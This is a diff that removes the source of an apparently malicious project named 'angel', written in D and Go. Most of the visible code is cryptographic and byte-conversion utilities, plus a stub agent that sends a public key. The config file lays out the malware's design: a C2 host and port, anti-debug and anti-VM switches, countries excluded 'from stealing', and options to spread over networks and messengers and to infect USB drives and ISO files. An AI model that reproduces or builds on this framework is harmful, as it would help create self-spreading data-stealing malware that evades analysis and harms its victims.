BIN
v1/LICENSE.txt
BIN
v1/LICENSE.txt
Binary file not shown.
@@ -1 +0,0 @@
|
|||||||
|
|
||||||
18
v1/agent.go
18
v1/agent.go
@@ -1,18 +0,0 @@
|
|||||||
package conn
|
|
||||||
|
|
||||||
import (
|
|
||||||
"angel_server/consts"
|
|
||||||
"angel_server/cryptmeow"
|
|
||||||
"log/slog"
|
|
||||||
"net"
|
|
||||||
)
|
|
||||||
|
|
||||||
func agent_impl(conn net.Conn, layer_id int) {
|
|
||||||
var publicKey, _ [32]byte = cryptmeow.Gen_keypair()
|
|
||||||
|
|
||||||
_, err := conn.Write(publicKey[:])
|
|
||||||
if err != nil {
|
|
||||||
consts.Logger.Error("failed to send public key", slog.String("error", err.Error()))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
76
v1/angel.d
76
v1/angel.d
@@ -1,76 +0,0 @@
|
|||||||
module angel.main;
|
|
||||||
|
|
||||||
// TODO optimize imports (only neccessary)
|
|
||||||
// TODO mutex check + execution timer
|
|
||||||
// TODO anti dbg
|
|
||||||
// TODO error handler ?? use auto, receive -> check for data, if none print result (err)
|
|
||||||
// TODO veh/vectored syscalls in suspended thread
|
|
||||||
|
|
||||||
// Internal imports
|
|
||||||
import angel.utils.logging;
|
|
||||||
import angel.utils.constants;
|
|
||||||
import angel.utils.clean;
|
|
||||||
import angel.conn : Listener;
|
|
||||||
|
|
||||||
//import angel.exfil.browser.browser;
|
|
||||||
import angel.utils.init;
|
|
||||||
|
|
||||||
//import angel.utils.cryptography.threefish;
|
|
||||||
//import angel.utils.cryptography.aes;
|
|
||||||
import angel.utils.cryptography.serpent;
|
|
||||||
import angel.utils.cryptography.cryptography;
|
|
||||||
import angel.utils.cryptography.cryptography : Serpi, Freefishy;
|
|
||||||
|
|
||||||
//import angel.utils.cryptography.gcm.gcm;
|
|
||||||
//import angel.utils.cryptography.aes;
|
|
||||||
import angel.utils.cryptography.threefish;
|
|
||||||
|
|
||||||
import angel.config : config;
|
|
||||||
|
|
||||||
//import angel.conn.vnc.vnc;
|
|
||||||
// External imports
|
|
||||||
import std.stdio;
|
|
||||||
import std.conv : to;
|
|
||||||
import core.thread.osthread;
|
|
||||||
import std.format;
|
|
||||||
|
|
||||||
int main()
|
|
||||||
{
|
|
||||||
init();
|
|
||||||
|
|
||||||
// ! Serpent implementation
|
|
||||||
|
|
||||||
Cryptography.KeyPair keypair = Cryptography.derive_25519(config.server_pk);
|
|
||||||
|
|
||||||
auto serp = new Serpi(keypair);
|
|
||||||
|
|
||||||
auto lol = serp.encrypt(cast(ubyte[]) "meow meow meow hi lol,lollolllllldlsaldlasflsdlf");
|
|
||||||
|
|
||||||
Logger.log(LogLevel.Debug, lol.to!string);
|
|
||||||
|
|
||||||
auto lol2 = serp.decrypt(lol);
|
|
||||||
|
|
||||||
Logger.log(LogLevel.Debug, lol2.to!string);
|
|
||||||
|
|
||||||
|
|
||||||
// ! ThreeFish512 implementation
|
|
||||||
auto kiii = Threefish512.generateKey();
|
|
||||||
auto tweaki = Threefish512.generateTweak();
|
|
||||||
|
|
||||||
Logger.log(LogLevel.Debug, format("Generated Key: %s", kiii));
|
|
||||||
Logger.log(LogLevel.Debug, format("Generated Tweak: %s", tweaki));
|
|
||||||
|
|
||||||
auto fish = new Freefishy(kiii, tweaki);
|
|
||||||
|
|
||||||
auto lol3 = fish.encrypt(cast(ubyte[]) "meow meow meow hi lol,lollolllllldlsaldlasflsdlf");
|
|
||||||
|
|
||||||
Logger.log(LogLevel.Debug, lol3.to!string);
|
|
||||||
|
|
||||||
auto lol4 = fish.decrypt(lol3);
|
|
||||||
|
|
||||||
Logger.log(LogLevel.Debug, lol4.to!string);
|
|
||||||
|
|
||||||
new Listener();
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
Binary file not shown.
BIN
v1/anti_debug.d
BIN
v1/anti_debug.d
Binary file not shown.
BIN
v1/anti_vm.d
BIN
v1/anti_vm.d
Binary file not shown.
416
v1/bitmanip.d
416
v1/bitmanip.d
@@ -1,416 +0,0 @@
|
|||||||
module angel.utils.cryptography.bitmanip;
|
|
||||||
|
|
||||||
import std.traits;
|
|
||||||
///
|
|
||||||
/// This module contains several methods to convert integer types into byte arrays
|
|
||||||
/// and vice versa.
|
|
||||||
///
|
|
||||||
///
|
|
||||||
|
|
||||||
alias rotateLeft rol;
|
|
||||||
alias rotateRight ror;
|
|
||||||
|
|
||||||
/// rot shift to the left
|
|
||||||
/// Params:
|
|
||||||
/// x = integer to shift
|
|
||||||
/// shiftAmount = number of bits to shift
|
|
||||||
@safe
|
|
||||||
@nogc
|
|
||||||
T rotateLeft(T)(T x, uint shiftAmount) pure nothrow
|
|
||||||
{
|
|
||||||
enum nbits = T.sizeof*8;
|
|
||||||
//shiftAmount %= nbits;
|
|
||||||
return cast(T)(x << shiftAmount) | (x >>> (nbits-shiftAmount));
|
|
||||||
}
|
|
||||||
|
|
||||||
/// test rotateLeft
|
|
||||||
unittest {
|
|
||||||
ubyte b0 = 0b10000001;
|
|
||||||
ubyte b1 = 0b00000011;
|
|
||||||
ubyte b2 = 0b00000110;
|
|
||||||
ubyte b7 = 0b11000000;
|
|
||||||
|
|
||||||
assert(rotateLeft(b0,0) == b0);
|
|
||||||
assert(rotateLeft(b0,1) == b1);
|
|
||||||
assert(rotateLeft(b0,2) == b2);
|
|
||||||
assert(rotateLeft(b0,7) == b7);
|
|
||||||
assert(rotateLeft(b0,8) == b0);
|
|
||||||
}
|
|
||||||
|
|
||||||
/// rot shift to the right
|
|
||||||
/// Params:
|
|
||||||
/// x = integer to shift
|
|
||||||
/// shiftAmount = number of bits to shift
|
|
||||||
@safe
|
|
||||||
@nogc
|
|
||||||
T rotateRight(T)(T x, uint shiftAmount) pure nothrow
|
|
||||||
{
|
|
||||||
enum nbits = T.sizeof*8;
|
|
||||||
//shiftAmount %= nbits;
|
|
||||||
return cast(T)((x >>> shiftAmount) | (x << (nbits-shiftAmount)));
|
|
||||||
}
|
|
||||||
|
|
||||||
/// test rotateRight
|
|
||||||
unittest {
|
|
||||||
ubyte b0 = 0b00000101;
|
|
||||||
ubyte b1 = 0b10000010;
|
|
||||||
ubyte b2 = 0b01000001;
|
|
||||||
ubyte b7 = 0b00001010;
|
|
||||||
|
|
||||||
assert(rotateRight(b0,0) == b0);
|
|
||||||
assert(rotateRight(b0,1) == b1);
|
|
||||||
assert(rotateRight(b0,2) == b2);
|
|
||||||
assert(rotateRight(b0,7) == b7);
|
|
||||||
assert(rotateRight(b0,8) == b0);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
Converts big endian bytes to integral of type T
|
|
||||||
Params: bs = the big endian bytes
|
|
||||||
Returns: integral of type T
|
|
||||||
*/
|
|
||||||
@safe @nogc
|
|
||||||
T fromBigEndian(T)(in ubyte[] bs) if (isIntegral!T)
|
|
||||||
in {
|
|
||||||
assert(bs.length >= T.sizeof, "input buffer too short");
|
|
||||||
}
|
|
||||||
body {
|
|
||||||
version(BigEndian) {
|
|
||||||
// data is already in memory as we want
|
|
||||||
return (cast(const T[])bs)[0];
|
|
||||||
}else {
|
|
||||||
Unqual!T n = 0;
|
|
||||||
static if (T.sizeof >= short.sizeof) {
|
|
||||||
n |= bs[0];
|
|
||||||
n <<= 8;
|
|
||||||
n |= bs[1];
|
|
||||||
}
|
|
||||||
static if (T.sizeof >= int.sizeof) {
|
|
||||||
n <<= 8;
|
|
||||||
n |= bs[2];
|
|
||||||
n <<= 8;
|
|
||||||
n |= bs[3];
|
|
||||||
}
|
|
||||||
static if (T.sizeof == long.sizeof) {
|
|
||||||
n <<= 8;
|
|
||||||
n |= bs[4];
|
|
||||||
n <<= 8;
|
|
||||||
n |= bs[5];
|
|
||||||
n <<= 8;
|
|
||||||
n |= bs[6];
|
|
||||||
n <<= 8;
|
|
||||||
n |= bs[7];
|
|
||||||
}
|
|
||||||
|
|
||||||
return n;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
Converts little endian bytes to integral of type T
|
|
||||||
Params: bs = the little endian bytes
|
|
||||||
Returns: integral of type T
|
|
||||||
*/
|
|
||||||
@safe @nogc
|
|
||||||
T fromLittleEndian(T)(in ubyte[] bs) if (isIntegral!T)
|
|
||||||
in {
|
|
||||||
assert(bs.length >= T.sizeof, "input buffer too short");
|
|
||||||
}
|
|
||||||
body {
|
|
||||||
version(LittleEndian) {
|
|
||||||
// data is already in memory as we want
|
|
||||||
return (cast(const T[])bs)[0];
|
|
||||||
}else {
|
|
||||||
Unqual!T n = 0;
|
|
||||||
static if (T.sizeof >= short.sizeof) {
|
|
||||||
n |= bs[0];
|
|
||||||
n |= cast(T)bs[1] << 8;
|
|
||||||
}
|
|
||||||
static if (T.sizeof >= int.sizeof) {
|
|
||||||
n |= cast(T)bs[2] << 16;
|
|
||||||
n |= cast(T)bs[3] << 24;
|
|
||||||
}
|
|
||||||
static if (T.sizeof == long.sizeof) {
|
|
||||||
n |= cast(T)bs[4] << 32;
|
|
||||||
n |= cast(T)bs[5] << 40;
|
|
||||||
n |= cast(T)bs[6] << 48;
|
|
||||||
n |= cast(T)bs[7] << 56;
|
|
||||||
}
|
|
||||||
|
|
||||||
return n;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
Converts big endian bytes to integrals of type T
|
|
||||||
size of bs has to match the size in bytes of output
|
|
||||||
Params:
|
|
||||||
bs = the big endian bytes
|
|
||||||
output = where the T's get written to
|
|
||||||
*/
|
|
||||||
@safe @nogc
|
|
||||||
void fromBigEndian(T)(in ubyte[] bs, T[] output) if (isIntegral!T)
|
|
||||||
in {
|
|
||||||
assert(bs.length == output.length * T.sizeof, "size of input array does not match size of output array");
|
|
||||||
}
|
|
||||||
body {
|
|
||||||
version(BigEndian) {
|
|
||||||
// short cut on big endian systems
|
|
||||||
const T[] casted = cast(const T[]) bs;
|
|
||||||
output[] = casted[];
|
|
||||||
} else {
|
|
||||||
// for little endian systems
|
|
||||||
enum s = T.sizeof;
|
|
||||||
foreach (i; 0 .. output.length)
|
|
||||||
{
|
|
||||||
output[i] = fromBigEndian!T(bs[s*i .. s*i+s]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
Converts little endian bytes to integrals of type T
|
|
||||||
size of bs has to match the size in bytes of output
|
|
||||||
Params:
|
|
||||||
bs = the little endian bytes
|
|
||||||
output = where the T's get written to
|
|
||||||
*/
|
|
||||||
@safe @nogc
|
|
||||||
void fromLittleEndian(T)(in ubyte[] bs, T[] output) if (isIntegral!T)
|
|
||||||
in {
|
|
||||||
assert(bs.length == output.length * T.sizeof, "size of input array does not match size of output array");
|
|
||||||
}
|
|
||||||
body {
|
|
||||||
version(LittleEndian) {
|
|
||||||
// short cut on little endian systems
|
|
||||||
const T[] casted = cast(const T[]) bs;
|
|
||||||
output[] = casted[];
|
|
||||||
} else {
|
|
||||||
// for big endian systems
|
|
||||||
enum s = T.sizeof;
|
|
||||||
foreach (i; 0 .. output.length)
|
|
||||||
{
|
|
||||||
output[i] = fromLittleEndian!T(bs[s*i .. s*i+s]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
convert a integral type T into an array of bytes.
|
|
||||||
Params:
|
|
||||||
n = the number
|
|
||||||
output = the buffer to write the bytes to
|
|
||||||
*/
|
|
||||||
@safe @nogc
|
|
||||||
void toBigEndian(T)(in T val, ubyte[] output) if(isIntegral!T)
|
|
||||||
in {
|
|
||||||
assert(output.length >= T.sizeof, "output buffer too small");
|
|
||||||
}
|
|
||||||
body {
|
|
||||||
Unqual!T n = val;
|
|
||||||
uint off = 0;
|
|
||||||
|
|
||||||
static if(T.sizeof == long.sizeof) {
|
|
||||||
output[off] = cast (ubyte) (n >>> 56);
|
|
||||||
++off;
|
|
||||||
output[off] = cast (ubyte) (n >>> 48);
|
|
||||||
++off;
|
|
||||||
output[off] = cast (ubyte) (n >>> 40);
|
|
||||||
++off;
|
|
||||||
output[off] = cast (ubyte) (n >>> 32);
|
|
||||||
++off;
|
|
||||||
}
|
|
||||||
static if(T.sizeof >= int.sizeof) {
|
|
||||||
output[off] = cast (ubyte) (n >>> 24);
|
|
||||||
++off;
|
|
||||||
output[off] = cast (ubyte) (n >>> 16);
|
|
||||||
++off;
|
|
||||||
}
|
|
||||||
static if(T.sizeof >= short.sizeof) {
|
|
||||||
output[off] = cast (ubyte) (n >>> 8);
|
|
||||||
++off;
|
|
||||||
}
|
|
||||||
output[off] = cast (ubyte) (n);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
convert a integral type T into an array of bytes.
|
|
||||||
Params:
|
|
||||||
n = the number
|
|
||||||
output = the buffer to write the bytes to
|
|
||||||
*/
|
|
||||||
@safe @nogc
|
|
||||||
void toLittleEndian(T)(in T val, ubyte[] output) if(isIntegral!T)
|
|
||||||
in {
|
|
||||||
assert(output.length >= T.sizeof, "output buffer too small");
|
|
||||||
}
|
|
||||||
body {
|
|
||||||
Unqual!T n = val;
|
|
||||||
output[0] = cast (ubyte) (n);
|
|
||||||
n >>>= 8;
|
|
||||||
static if(T.sizeof >= short.sizeof) {
|
|
||||||
output[1] = cast (ubyte) (n);
|
|
||||||
n >>>= 8;
|
|
||||||
}
|
|
||||||
static if(T.sizeof >= int.sizeof) {
|
|
||||||
output[2] = cast (ubyte) (n);
|
|
||||||
n >>>= 8;
|
|
||||||
output[3] = cast (ubyte) (n);
|
|
||||||
n >>>= 8;
|
|
||||||
}
|
|
||||||
static if(T.sizeof == long.sizeof) {
|
|
||||||
output[4] = cast (ubyte) (n);
|
|
||||||
n >>>= 8;
|
|
||||||
output[5] = cast (ubyte) (n);
|
|
||||||
n >>>= 8;
|
|
||||||
output[6] = cast (ubyte) (n);
|
|
||||||
n >>>= 8;
|
|
||||||
output[7] = cast (ubyte) (n);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
convert a integral type T[] into an array of bytes.
|
|
||||||
Params:
|
|
||||||
ns = the numbers
|
|
||||||
output = the buffer to write the bytes to
|
|
||||||
*/
|
|
||||||
@safe @nogc
|
|
||||||
void toBigEndian(T)(in T[] ns, ubyte[] output) if(isIntegral!T)
|
|
||||||
in {
|
|
||||||
assert(output.length >= T.sizeof*ns.length, "output buffer too small");
|
|
||||||
}
|
|
||||||
body {
|
|
||||||
version(BigEndian) {
|
|
||||||
// shortcut on BigEndian systems
|
|
||||||
const ubyte[] casted = cast(const ubyte []) ns;
|
|
||||||
output[] = casted[];
|
|
||||||
}else{
|
|
||||||
foreach(i, const T n; ns) {
|
|
||||||
toBigEndian!T(n, output[T.sizeof * i .. $]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
convert a integral type T[] into an array of bytes.
|
|
||||||
Params:
|
|
||||||
ns the numbers
|
|
||||||
output the buffer to write the bytes to
|
|
||||||
*/
|
|
||||||
@safe @nogc
|
|
||||||
void toLittleEndian(T)(in T[] ns, ubyte[] output) if(isIntegral!T)
|
|
||||||
in {
|
|
||||||
assert(output.length >= T.sizeof*ns.length, "output buffer too small");
|
|
||||||
}
|
|
||||||
body {
|
|
||||||
version(LittleEndian) {
|
|
||||||
// shortcut on LittleEndian systems
|
|
||||||
const ubyte[] casted = cast(const ubyte []) ns;
|
|
||||||
output[] = casted[];
|
|
||||||
}else{
|
|
||||||
foreach(i, const T n; ns) {
|
|
||||||
toLittleEndian!T(n, output[T.sizeof * i .. $]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
ubyte[T.sizeof] toBigEndian(T)(in T n) pure nothrow @nogc
|
|
||||||
if(isIntegral!T)
|
|
||||||
{
|
|
||||||
ubyte[T.sizeof] bs;
|
|
||||||
toBigEndian!T(n, bs);
|
|
||||||
return bs;
|
|
||||||
}
|
|
||||||
|
|
||||||
ubyte[] toBigEndian(T)(in T[] ns) if(isIntegral!T)
|
|
||||||
{
|
|
||||||
ubyte[] bs = new ubyte[T.sizeof * ns.length];
|
|
||||||
toBigEndian!T(ns, bs);
|
|
||||||
return bs;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
ubyte[T.sizeof] toLittleEndian(T)(in T n) pure nothrow @nogc
|
|
||||||
if(isIntegral!T)
|
|
||||||
{
|
|
||||||
ubyte[T.sizeof] bs;
|
|
||||||
toLittleEndian!T(n, bs);
|
|
||||||
return bs;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
ubyte[] toLittleEndian(T)(in T[] ns) if(isIntegral!T)
|
|
||||||
{
|
|
||||||
ubyte[] bs = new ubyte[T.sizeof * ns.length];
|
|
||||||
toLittleEndian!T(ns, bs);
|
|
||||||
return bs;
|
|
||||||
}
|
|
||||||
|
|
||||||
unittest {
|
|
||||||
|
|
||||||
// int
|
|
||||||
assert(toBigEndian(0x01020304) == [0x01,0x02,0x03,0x04], "intToBigEndian failed");
|
|
||||||
assert(toLittleEndian(0x01020304) == [0x04,0x03,0x02,0x01], "intToLittleEndian failed");
|
|
||||||
|
|
||||||
|
|
||||||
// long
|
|
||||||
assert(toBigEndian(0x0102030405060708L) == [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08], "longToBigEndian failed");
|
|
||||||
assert(toLittleEndian(0x0807060504030201L) == [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08], "longToLittleEndian failed");
|
|
||||||
|
|
||||||
// bigEndian to short, int, long
|
|
||||||
assert(fromBigEndian!ushort([0x01,0x02]) == 0x0102u);
|
|
||||||
assert(fromBigEndian!uint([0x01,0x02,0x03,0x04]) == 0x01020304u);
|
|
||||||
assert(fromBigEndian!ulong([0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08]) == 0x0102030405060708UL);
|
|
||||||
|
|
||||||
// littleEndian to short, int, long
|
|
||||||
assert(fromLittleEndian!ushort([0x02,0x01]) == 0x0102u);
|
|
||||||
assert(fromLittleEndian!uint([0x04,0x03,0x02,0x01]) == 0x01020304u);
|
|
||||||
assert(fromLittleEndian!ulong([0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08]) == 0x0807060504030201UL);
|
|
||||||
|
|
||||||
// bigEndian: convert multiple ints
|
|
||||||
uint[] output = new uint[2];
|
|
||||||
immutable ubyte[] input = [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08];
|
|
||||||
fromBigEndian(input, output);
|
|
||||||
assert(output == [0x01020304u, 0x05060708u], "fromBigEndian(ubyte[] input, int[] output) failed");
|
|
||||||
|
|
||||||
// littleEndian: convert multiple ints
|
|
||||||
output = new uint[2];
|
|
||||||
fromLittleEndian(input, output);
|
|
||||||
assert(output == [0x04030201u, 0x08070605u], "fromLittleEndian(ubyte[] input, int[] output) failed");
|
|
||||||
|
|
||||||
|
|
||||||
immutable int i = 0xf1f2f3f4;
|
|
||||||
int iResult;
|
|
||||||
ubyte[] buf;
|
|
||||||
|
|
||||||
// int to bigEndian
|
|
||||||
buf = new ubyte[4];
|
|
||||||
toBigEndian!int(i, buf);
|
|
||||||
iResult = fromBigEndian!int(buf);
|
|
||||||
assert(i == iResult);
|
|
||||||
|
|
||||||
// int to littleEndian
|
|
||||||
buf = new ubyte[4];
|
|
||||||
toLittleEndian!int(i, buf);
|
|
||||||
iResult = fromLittleEndian!int(buf);
|
|
||||||
assert(i == iResult);
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
immutable long l = 0xf1f2f3f4f5f6f7f8;
|
|
||||||
long lResult;
|
|
||||||
|
|
||||||
// long to bigEndian
|
|
||||||
buf = new ubyte[8];
|
|
||||||
toBigEndian!long(l, buf);
|
|
||||||
lResult = fromBigEndian!long(buf);
|
|
||||||
assert(l == lResult);
|
|
||||||
|
|
||||||
// int to littleEndian
|
|
||||||
buf = new ubyte[8];
|
|
||||||
toLittleEndian!long(l, buf);
|
|
||||||
lResult = fromLittleEndian!long(buf);
|
|
||||||
assert(l == lResult);
|
|
||||||
}
|
|
||||||
191
v1/blockcipher.d
191
v1/blockcipher.d
@@ -1,191 +0,0 @@
|
|||||||
module angel.utils.cryptography.blockcipher;
|
|
||||||
|
|
||||||
/// Use this to check if type is a block cipher.
|
|
||||||
@safe
|
|
||||||
template isBlockCipher(T)
|
|
||||||
{
|
|
||||||
enum bool isBlockCipher =
|
|
||||||
is(T == struct) &&
|
|
||||||
is(typeof(
|
|
||||||
{
|
|
||||||
ubyte[0] block;
|
|
||||||
T bc = T.init; // Can define
|
|
||||||
string name = T.name;
|
|
||||||
uint blockSize = T.blockSize;
|
|
||||||
bc.start(cast(const ubyte[]) block, cast(const ubyte[]) block); // init with secret key and iv
|
|
||||||
uint len = bc.encrypt(cast (const ubyte[]) block, block);
|
|
||||||
bc.reset();
|
|
||||||
}));
|
|
||||||
}
|
|
||||||
|
|
||||||
/// OOP API for block ciphers
|
|
||||||
@safe
|
|
||||||
public interface IBlockCipher {
|
|
||||||
|
|
||||||
|
|
||||||
@safe public:
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Initialize the cipher.
|
|
||||||
*
|
|
||||||
* Params:
|
|
||||||
* forEncryption = if true the cipher is initialised for
|
|
||||||
* encryption, if false for decryption.
|
|
||||||
* userKey = A secret key.
|
|
||||||
* iv = A nonce.
|
|
||||||
*/
|
|
||||||
void start(in ubyte[] userKey, in ubyte[] iv = null) nothrow @nogc;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Return the name of the algorithm the cipher implements.
|
|
||||||
*
|
|
||||||
* Returns: the name of the algorithm the cipher implements.
|
|
||||||
*/
|
|
||||||
@property
|
|
||||||
string name() pure nothrow;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Return the block size for this cipher (in bytes).
|
|
||||||
*
|
|
||||||
* Returns: the block size for this cipher in bytes.
|
|
||||||
*/
|
|
||||||
@property
|
|
||||||
uint blockSize() pure nothrow @nogc;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Process one block of input from the array in and write it to
|
|
||||||
* the out array.
|
|
||||||
*
|
|
||||||
* Params:
|
|
||||||
* input = the slice containing the input data.
|
|
||||||
* output = the slice the output data will be copied into.
|
|
||||||
* Throws: IllegalStateException if the cipher isn't initialised.
|
|
||||||
* Returns: the number of bytes processed and produced.
|
|
||||||
*/
|
|
||||||
@nogc
|
|
||||||
uint encrypt(in ubyte[] input, ubyte[] output) nothrow;
|
|
||||||
|
|
||||||
@nogc
|
|
||||||
uint decrypt(in ubyte[] input, ubyte[] output) nothrow;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Reset the cipher. After resetting the cipher is in the same state
|
|
||||||
* as it was after the last init (if there was one).
|
|
||||||
*/
|
|
||||||
@nogc
|
|
||||||
void reset() nothrow;
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Wraps block ciphers into the OOP API
|
|
||||||
@safe
|
|
||||||
public class BlockCipherWrapper(T) if(isBlockCipher!T): IBlockCipher {
|
|
||||||
|
|
||||||
private T cipher;
|
|
||||||
|
|
||||||
@safe public:
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Initialize the cipher.
|
|
||||||
*
|
|
||||||
* Params:
|
|
||||||
* forEncryption = if true the cipher is initialised for
|
|
||||||
* encryption, if false for decryption.
|
|
||||||
* params = the key and other data required by the cipher.
|
|
||||||
*
|
|
||||||
* Throws: IllegalArgumentException if the params argument is
|
|
||||||
* inappropriate.
|
|
||||||
*/
|
|
||||||
void start(in ubyte[] key, in ubyte[] iv = null) nothrow {
|
|
||||||
cipher.start(key, iv);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Return the name of the algorithm the cipher implements.
|
|
||||||
*
|
|
||||||
* Returns: the name of the algorithm the cipher implements.
|
|
||||||
*/
|
|
||||||
@property
|
|
||||||
string name() pure nothrow {
|
|
||||||
return cipher.name;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Return the block size for this cipher (in bytes).
|
|
||||||
*
|
|
||||||
* Returns: the block size for this cipher in bytes.
|
|
||||||
*/
|
|
||||||
@property
|
|
||||||
uint blockSize() pure nothrow @nogc {
|
|
||||||
return T.blockSize;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Process one block of input from the array in and write it to
|
|
||||||
* the out array.
|
|
||||||
*
|
|
||||||
* Params:
|
|
||||||
* input = the slice containing the input data.
|
|
||||||
* output = the slice the output data will be copied into.
|
|
||||||
* Throws: IllegalStateException if the cipher isn't initialised.
|
|
||||||
* Returns: the number of bytes processed and produced.
|
|
||||||
*/
|
|
||||||
uint encrypt(in ubyte[] input, ubyte[] output) nothrow @nogc {
|
|
||||||
return cipher.encrypt(input, output);
|
|
||||||
}
|
|
||||||
|
|
||||||
uint decrypt(in ubyte[] input, ubyte[] output) nothrow @nogc {
|
|
||||||
return cipher.decrypt(input, output);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Reset the cipher. After resetting the cipher is in the same state
|
|
||||||
* as it was after the last init (if there was one).
|
|
||||||
*/
|
|
||||||
void reset() nothrow @nogc {
|
|
||||||
cipher.reset();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
version(unittest) {
|
|
||||||
|
|
||||||
// unittest helper functions
|
|
||||||
|
|
||||||
import std.format: format;
|
|
||||||
|
|
||||||
/// Runs decryption and encryption using BlockCipher bc with given keys, plaintexts, and ciphertexts
|
|
||||||
///
|
|
||||||
/// Params:
|
|
||||||
/// keys = The encryption/decryption keys.
|
|
||||||
/// plaintexts = Plaintexts.
|
|
||||||
/// cipherTexts = Corresponding ciphertexts.
|
|
||||||
/// ivs = Initialization vectors.
|
|
||||||
///
|
|
||||||
@safe
|
|
||||||
public void blockCipherTest(IBlockCipher bc, string[] keys, string[] plaintexts, string[] cipherTexts, string[] ivs = null) {
|
|
||||||
|
|
||||||
foreach (uint i, string test_key; keys)
|
|
||||||
{
|
|
||||||
ubyte[] buffer = new ubyte[bc.blockSize];
|
|
||||||
|
|
||||||
|
|
||||||
const ubyte[] key = cast(const ubyte[]) test_key;
|
|
||||||
const (ubyte)[] iv = null;
|
|
||||||
if(ivs !is null) {
|
|
||||||
iv = cast(const (ubyte)[]) ivs[i];
|
|
||||||
}
|
|
||||||
|
|
||||||
// Encryption
|
|
||||||
bc.start(key, iv);
|
|
||||||
bc.encrypt(cast(const ubyte[]) plaintexts[i], buffer);
|
|
||||||
|
|
||||||
assert(buffer == cipherTexts[i],
|
|
||||||
format("%s failed to encrypt.", bc.name));
|
|
||||||
|
|
||||||
// Decryption
|
|
||||||
bc.start(key, iv);
|
|
||||||
bc.decrypt(cast(const ubyte[]) cipherTexts[i], buffer);
|
|
||||||
assert(buffer == plaintexts[i],
|
|
||||||
format("%s failed to decrypt.", bc.name));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,9 +0,0 @@
|
|||||||
module angel.utils.clean;
|
|
||||||
|
|
||||||
// Internal imports
|
|
||||||
// External imports
|
|
||||||
import std.stdio;
|
|
||||||
|
|
||||||
void clean() {
|
|
||||||
|
|
||||||
}
|
|
||||||
@@ -1,3 +0,0 @@
|
|||||||
package extra
|
|
||||||
|
|
||||||
var Port int = 8080
|
|
||||||
213
v1/config.d
213
v1/config.d
@@ -1,213 +0,0 @@
|
|||||||
module angel.config;
|
|
||||||
|
|
||||||
// Internal imports
|
|
||||||
import angel.utils.constants;
|
|
||||||
|
|
||||||
// External imports
|
|
||||||
import std.stdio;
|
|
||||||
|
|
||||||
// bool -> possible values: 'true' or 'false'
|
|
||||||
// string -> possible values: character slice (use "" to define a slice)
|
|
||||||
// array - [] -> possible values: multiple character slices seperated by commas (inside)
|
|
||||||
struct Config
|
|
||||||
{
|
|
||||||
struct Server
|
|
||||||
{
|
|
||||||
string host = "127.0.0.1"; // c2 ip
|
|
||||||
int port = 8080; // c2 port
|
|
||||||
int initializer = 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool debug_mode = true;
|
|
||||||
ubyte[] server_pk = [
|
|
||||||
0x63, 0x33, 0xa2, 0x5f, 0x48, 0xbb, 0x69, 0x8e, 0x1a, 0x90, 0x02, 0x83,
|
|
||||||
0x20, 0xd2, 0x05, 0x6a, 0xa1, 0x6e, 0x37, 0x2e, 0xdd, 0x84, 0xb4, 0x06,
|
|
||||||
0x20, 0xc8, 0xbc, 0xb6, 0x82, 0x17, 0x81, 0x51
|
|
||||||
]; // server public curve25519 key
|
|
||||||
|
|
||||||
struct Antidbg
|
|
||||||
{
|
|
||||||
bool analysis = true;
|
|
||||||
bool dbg = true;
|
|
||||||
bool kill = false;
|
|
||||||
bool vm = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool fakeErr = false;
|
|
||||||
// remove Constants.Errmsg("[]") to use std err msg
|
|
||||||
Constants.Errmsg errmsg = Constants.Errmsg("custom err msg");
|
|
||||||
|
|
||||||
struct Exclude
|
|
||||||
{
|
|
||||||
string[] country = ["de", "ru"]; // country to exclude from stealing
|
|
||||||
string[] path = ["", ""]; // path to exclude from antivirus
|
|
||||||
string[] network = [""]; // disables access to specific network/web addresses
|
|
||||||
}
|
|
||||||
|
|
||||||
struct Spread
|
|
||||||
{
|
|
||||||
bool local_network = true;
|
|
||||||
bool messenger = true;
|
|
||||||
bool mail = false;
|
|
||||||
}
|
|
||||||
|
|
||||||
struct Infect
|
|
||||||
{
|
|
||||||
bool iso = true;
|
|
||||||
bool usb = true;
|
|
||||||
bool systemfil = true;
|
|
||||||
}
|
|
||||||
|
|
